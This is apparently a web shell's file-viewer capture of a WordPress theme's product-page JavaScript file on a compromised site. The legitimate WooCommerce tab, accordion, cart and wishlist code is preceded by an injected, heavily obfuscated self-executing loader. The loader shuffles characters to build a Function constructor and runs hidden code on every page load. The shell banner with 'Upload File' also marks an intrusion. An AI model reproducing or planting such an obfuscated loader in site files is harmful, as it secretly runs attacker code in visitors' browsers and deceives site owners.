AlkantarClanX12

Your IP : 18.220.206.141


Current Path : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/
Upload File :
Current File : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/thegem-product-page.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();(function ($) {

    'use strict';

    let isTouch = window.gemSettings.isTouch,
        isMobile = $(window).width() < 768 && /Android|webOS|iPhone|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ? true : false,
        isTabletPortrait = $(window).width() === 820 && isTouch && window.matchMedia("(orientation: portrait)") ? true : false,
        isSticky = $('.single-product-content').attr('data-sticky') === 'yes' ? true : false,
        isAjaxLoad = $('.single-product-content').attr('data-ajax-load') === 'yes' ? true : false,
        isOneByOne = $('.single-product-content-bottom').attr('data-review-layout') === 'one_by_one' ? true : false,
        isGridGallery = $('.product-gallery__grid').attr('data-gallery') === 'grid' ? true : false,
        isMenuVertical = $('.single-product-content').attr('data-menu-vertical') === 'yes' ? true : false,
        isComboboxInit = false,
        isExternalProduct = $('.product-page__wrapper.product-type-external').length > 0,
        isGroupedProduct = $('.product-page__wrapper.product-type-grouped').length > 0,
        isSubscriptionProduct = $('.product-page__wrapper.has-subscription-plans').length > 0,

        productPageScripts = {
            // Initialization the functions
            init: function () {
                productPageScripts.default();
                productPageScripts.tabs();
                productPageScripts.accordion();
                productPageScripts.stickyColumn();
                productPageScripts.rating();
                productPageScripts.productVariable();
                productPageScripts.productQuantity();
                if (!isExternalProduct && !isGroupedProduct && !isSubscriptionProduct && isAjaxLoad) {
                    productPageScripts.ajaxAddToCart();
                }
                productPageScripts.ajaxAddToWishlist();
                productPageScripts.ajaxRemoveFromWishlist();
                productPageScripts.scrollToReviews();
                productPageScripts.onResize();
            },

            default: function () {
                let $clearSelection = $('.product-page__reset-variations');
                let $popupNotification = $('.thegem-popup-notification-wrap');

                $popupNotification.closest('#main').addClass('over-header');

                setTimeout(() => {
                    $clearSelection.removeClass('hidden');
                }, 400);
            },

            // Product page tabs
            tabs: function () {
                let $tabs = $('.thegem-tabs'),
                    $tabNavItem = $('.thegem-tabs__nav-item'),
                    $tabNavItemActive = $('.thegem-tabs__nav-item--active'),
                    $line = $('.thegem-tabs__nav-slide'),
                    isVertical = $tabs.attr("data-type") === 'vertical',
                    activeClass = 'thegem-tabs__nav-item--active',
                    $accItemTitle = $('.thegem-accordion__item-title'),
                    $accItemBody = $('.thegem-accordion__item-body'),
                    accActiveClass = 'thegem-accordion__item--active',

                    getPosition = ($target) => {
                        let $position = {
                            top: $target.offsetTop,
                            left: $target.offsetLeft
                        };
                        return $position;
                    },

                    animateLine = ($target, $ln) => {
                        let currentWidth = $target.offsetWidth,
                            currentHeight = $target.offsetHeight,
                            currentPos = getPosition($target);

                        if (isVertical) {
                            $ln[0].style.top = currentPos.top + 'px';
                            $ln[0].style.height = currentHeight + 'px';
                        } else {
                            $ln[0].style.left = currentPos.left + 'px';
                            $ln[0].style.width = currentWidth + 'px';
                        }
                    },

                    onLoadLine = () => {
                        animateLine($tabNavItemActive[0], $line);
                    };

                $tabNavItem.each(function (index, el) {
                    onLoadLine();

                    setTimeout(function () {
                        $line[0].style.transition = '0.25s ease';
                    }, 200);
                });

                $tabNavItem.on('click', function (e) {
                    let currentAttrvalue = '#' + $(this).attr('data-id');

                    $tabNavItem.removeClass(activeClass);
                    $(this).addClass(activeClass);
                    $accItemTitle.removeClass(accActiveClass);
                    $accItemBody.filter(currentAttrvalue).prev().addClass(accActiveClass);
                    $accItemBody.hide().filter(currentAttrvalue).show();

                    animateLine(e.currentTarget, $line);
                    if (window.tgpLazyItems !== undefined) {
                        window.tgpLazyItems.scrollHandle();
                    }
                });
            },

            // Product page accordion
            accordion: function () {
                let $accItem = $('.thegem-accordion__item'),
                    $accItemTitle = $('.thegem-accordion__item-title'),
                    $accItemBody = $('.thegem-accordion__item-body'),
                    $tabNavItem = $('.thegem-tabs__nav-item'),
                    activeClass = 'thegem-accordion__item--active',
                    tabActiveClass = 'thegem-tabs__nav-item--active';

                $accItemTitle.click(function(e){
                    let current = $(this).attr('data-id'),
                        currentAttrValue = '#' + current;

                    if($(e.target).is('.thegem-accordion__item--active')){
                        $(this).removeClass(activeClass);
                        $('.thegem-accordion__item-body:visible').slideUp(300);
                    } else {
                        $accItemTitle.removeClass(activeClass).filter(this).addClass(activeClass);
                        $accItemBody.slideUp(300).filter(currentAttrValue).slideDown(300);
                    }

                    $tabNavItem.removeClass(tabActiveClass);
                    $('.thegem-tabs__nav-item[data-id=' + current + ']').addClass(tabActiveClass);
                    if (window.tgpLazyItems !== undefined) {
                        window.tgpLazyItems.scrollHandle();
                    }
                });
            },

            // Product page sticky
            stickyColumn: function () {
                const $wrapper = $('.single-product-content'),
                    $leftColumn = $('.product-page__left-column', $wrapper),
                    $rightColumn = $('.product-page__right-column', $wrapper),
                    $header = $('#site-header-wrapper'),
                    headerH = $header.length > 0 && !isMenuVertical ? $header[0].clientHeight : 0;

                const stickyInit = (el) => {
                    const offset = headerH - 1;
                    const stickyOffset = $wrapper.data('sticky-offset');

                    $(el).sticky({
                        to: 'top',
                        offset: stickyOffset ? stickyOffset : offset,
                        effectsOffset: stickyOffset ? stickyOffset : offset,
                        parent: $wrapper
                    })
                }

                const stickyDestroy = (el) => {
                    $(el).sticky('destroy');
                };

                setTimeout(function () {
                    let $leftColumnHeight = $leftColumn.height(),
                        $rightColumnHeight = $rightColumn.height();

                    if (isSticky && !isMobile && !isTabletPortrait) {
                        if (!isGridGallery) {
                            $leftColumnHeight > $rightColumnHeight ? stickyInit($rightColumn) : stickyInit($leftColumn);
                        } else {
                            $leftColumnHeight > $rightColumnHeight ? stickyInit($rightColumn) : null;
                        }
                    }
                }, 200);
            },

            // Product page combobox
            combobox: function () {
                $(".thegem-select").each(function () {
                    let template = '<div class="thegem-combobox">';
                        template += '<div class="thegem-combobox__trigger">' + $('option:selected', this).text() + '</div>';
                        template += '<div class="thegem-combobox__options">';
                        $(this).find("option").each(function () {
                            template += '<div class="thegem-combobox__options-item" data-value="' + $(this).attr("value") + '">' + $(this).html() + '</div>';
                        });
                        template += '</div></div>';

                    if ($(this).parents(".thegem-combobox-wrap").length === 0){
                        $(this).wrap('<div class="thegem-combobox-wrap"></div>');
                    }
                    //$(this).hide();
                    $(this).after(template);
                });

                $(".thegem-combobox__options-item:first-of-type").hover(function () {
                    $(this).parents(".thegem-combobox__options").addClass("hover");
                }, function () {
                    $(this).parents(".thegem-combobox__options").removeClass("hover");
                });

                $(".thegem-combobox__trigger").on("click", function (e) {
                    e.stopPropagation();

                    let $count = $('table.variations tr').length,
                        $table = $('table.variations'),
                        hideIndex = () =>{
                            setTimeout(function () {
                                $('tr, td.value', $table).css('z-index', 0);
                            }, 200);
                        };

                    $('tr, td.value', $table).css('z-index', 0);
                    $(this).parents('tr, td.value').css('z-index', $count);

                    if ($(this).parents(".thegem-combobox.opened").length != 0) {
                        $(".thegem-combobox").removeClass("opened");
                        hideIndex();
                        return;
                    }

                    $('html').one('click', function () {
                        $(".thegem-combobox").removeClass("opened");
                        hideIndex();
                        return;
                    });

                    $(".thegem-combobox").removeClass("opened");

                    $(this).parents(".thegem-combobox").toggleClass("opened");
                });

                $(".thegem-combobox__options-item").on("click", function () {
                    $(this).parents(".thegem-combobox-wrap").find("select").val($(this).data("value")).change();
                    $(this).parents(".thegem-combobox__options").find(".thegem-combobox__options-item").removeClass("selection");
                    $(this).addClass("selection");
                    $(this).parents(".thegem-combobox").removeClass("opened");
                    $(this).parents(".thegem-combobox").find(".thegem-combobox__trigger").text($(this).text());
                });
            },

            // Product page rating
            rating: function () {
                let isSelected = false,
                    $star = $("#reviews.woocommerce-Reviews .stars a");

                $star.click(function(e){
                    isSelected = true;
                    $(this).prevAll().andSelf().addClass('rating-on');
                    $(this).nextAll().removeClass('rating-on');
                });
                $star.hover(function(){
                    $(this).prevAll().andSelf().addClass('rating-on');
                    $(this).nextAll().removeClass('rating-on');
                });
                $star.mouseout(function(){
                    if (!isSelected) {
                        $star.removeClass('rating-on');
                    }
                    isSelected = false;
                });
            },

            // Product page variable
            productVariable: function () {
                let $variationForm = $(".variations_form"),
                    $combobox = $(".thegem-combobox"),
                    $reset = $('.reset_variations'),

                    comboboxInit = () => {
                        if(!isComboboxInit) {
                            productPageScripts.combobox();
                            isComboboxInit = true;
                        }
                    },
                    comboboxRefresh = () => {
                        productPageScripts.combobox();
                        $(".thegem-combobox-wrap").find(".thegem-combobox:last-of-type").remove();
                    };

                $variationForm.each(function () {
                    comboboxInit();
                });

                $reset.on('click', function(){
                    $variationForm.each(function () {
                        $(this).on('change', '.variations select', function () {
                            comboboxRefresh();

                            let text = $('.thegem-combobox__options-item').eq(0).text();
                            $combobox.find('.thegem-combobox__trigger').text(text);
                        });
                    });
                });

                //huck for double submit form
                if ( window.history.replaceState ) {
                    window.history.replaceState( null, null, window.location.href );
                }
            },

            // Product page quantity
            productQuantity: function () {
                let $form = $('form.cart');

                $('div.quantity:not(.buttons_added)', $form).addClass('buttons_added')
                .append('<button type="button" class="plus" >+</button>')
                .prepend('<button type="button" class="minus" >-</button>');
            },

            // Product page ajax add to cart
            ajaxAddToCart: function () {
                let $wrapper =  $('.single-product-content');

                $wrapper.on('click', '.single_add_to_cart_button', function (e, fragments, cart_hash) {
                    e.preventDefault();

                    let $thisButton = $(this),
                        $form = $thisButton.closest('form.cart'),
                        id = $thisButton.val(),
                        productQty = $form.find('input[name=quantity]').val() || 1,
                        productId = $form.find('input[name=product_id]').val() || id,
                        variationId = $form.find('input[name=variation_id]').val() || 0;

                    let item = {};
                    $form.find('select[name^=attribute]').each(function() {
                        let attribute = $(this).attr("name");
                        let attributeVal = $(this).val();

                        item[attribute] = attributeVal;
                    });

                    let data = {
                        action: 'woocommerce_ajax_add_to_cart',
                        product_id: productId,
                        product_sku: '',
                        quantity: productQty,
                        variation_id: variationId,
                        variation: item,
                    };

                    if ( $form.find('input[name=variation_id]').length > 0 && variationId == 0 ) {
                        return false;
                    }

                    $(document.body).trigger('adding_to_cart', [$thisButton, data]);

                    $.ajax({
                        type: 'post',
                        url: wc_add_to_cart_params.ajax_url,
                        data: data,
                        success: function (response) {
                            if (response.error && response.product_url) {
                                window.location = response.product_url;
                                return;
                            } else {
                                let $addToCartTarget = $('.thegem-popup-notification-wrap');

                                if ($addToCartTarget) {
                                    $('.thegem-popup-notification', $addToCartTarget).removeClass('show');

                                    let $cartPopupAdd = $addToCartTarget.find('.thegem-popup-notification.cart');
                                    $cartPopupAdd.addClass('show');
                                    setTimeout(function () {
                                        $cartPopupAdd.removeClass('show');
                                    }, $cartPopupAdd.data('timing'));
                                }

                                $(document.body).trigger('added_to_cart', [response.fragments, response.cart_hash, $thisButton]);
                                $('.added_to_cart').hide();
                            }
                        },
                    });

                    return false;
                });
            },

            // Product page ajax add to wishlist
            ajaxAddToWishlist: function () {
                let $wrapper =  $('.single-product-content');

                $wrapper.on('click', '.add_to_wishlist', function () {
                    let $wishlistTarget = $('.thegem-popup-notification-wrap');

                    if ($wishlistTarget) {
                        $('.thegem-popup-notification', $wishlistTarget).removeClass('show');

                        let $wishlistPopupAdd = $wishlistTarget.find('.thegem-popup-notification.wishlist-add');
                        $wishlistPopupAdd.addClass('show');
                        setTimeout(function () {
                            $wishlistPopupAdd.removeClass('show');
                        }, $wishlistPopupAdd.data('timing'));
                    }
                });
            },

            // Product page ajax remove from wishlist
            ajaxRemoveFromWishlist: function () {
                let $wrapper =  $('.single-product-content');

                $wrapper.on('click', '.remove_from_wishlist', function (e, fragments, cart_hash) {
                    let $wishlistTarget = $('.thegem-popup-notification-wrap');

                    if ($wishlistTarget) {
                        $('.thegem-popup-notification', $wishlistTarget).removeClass('show');

                        let $wishlistPopupRemove = $wishlistTarget.find('.thegem-popup-notification.wishlist-remove');
                        $wishlistPopupRemove.addClass('show');
                        setTimeout(function () {
                            $wishlistPopupRemove.removeClass('show');
                        }, $wishlistPopupRemove.data('timing'));
                    }
                });
            },

            //Scroll to reviews
            scrollToReviews: function() {
                let $wrapper = $('.woocommerce-product-rating .product-reviews-link'),
                    $header = $('#site-header')[0],
                    $target = isOneByOne ? $('#thegem-reviews.thegem-one-by-one__item ') : $('.product-page__bottom-column'),
                    fixedHeight = $('#site-header').height(),
                    targetId = '#thegem-reviews',
                    targetEl = $('[data-id="thegem-reviews"]')[0];

                $wrapper.on('click', '.woocommerce-review-link', function (e) {
                    e.preventDefault();

                    if (!$(targetId).is(":visible")) {
                       $(targetEl).trigger('click');
                    }

                    $(window).scroll(function () {
                        if ($(this).scrollTop() > 0) {
                            fixedHeight = $header.clientHeight;
                        }
                    });

                    $("html, body").animate({scrollTop: $target.offset().top - fixedHeight}, 500);
                });
            },

            // Product page resize
            onResize: function () {
                let $accItem = $('.thegem-accordion__item'),
                    tabView = 'thegem-accordion__item--tab-view',

                    initMobileTabs = () => {
                        $accItem.removeClass(tabView);
                    },

                    revertMobileTabs = () => {
                        $accItem.addClass(tabView);
                    };

                if (isMobile) {
                    initMobileTabs();
                } else {
                    productPageScripts.tabs();
                    revertMobileTabs();
                }

                window.addEventListener("resize", function () {
                    isMobile = window.outerWidth < 768 ? true : false;

                    if (isMobile) {
                        initMobileTabs();
                    } else {
                        productPageScripts.tabs();
                        revertMobileTabs();
                    }
                }, false);
            },
        };

    // Run the function
    $(function () {
        productPageScripts.init();

        $.fn.initProductPageScripts = function () {
            productPageScripts.init();
        };
    });

})(jQuery);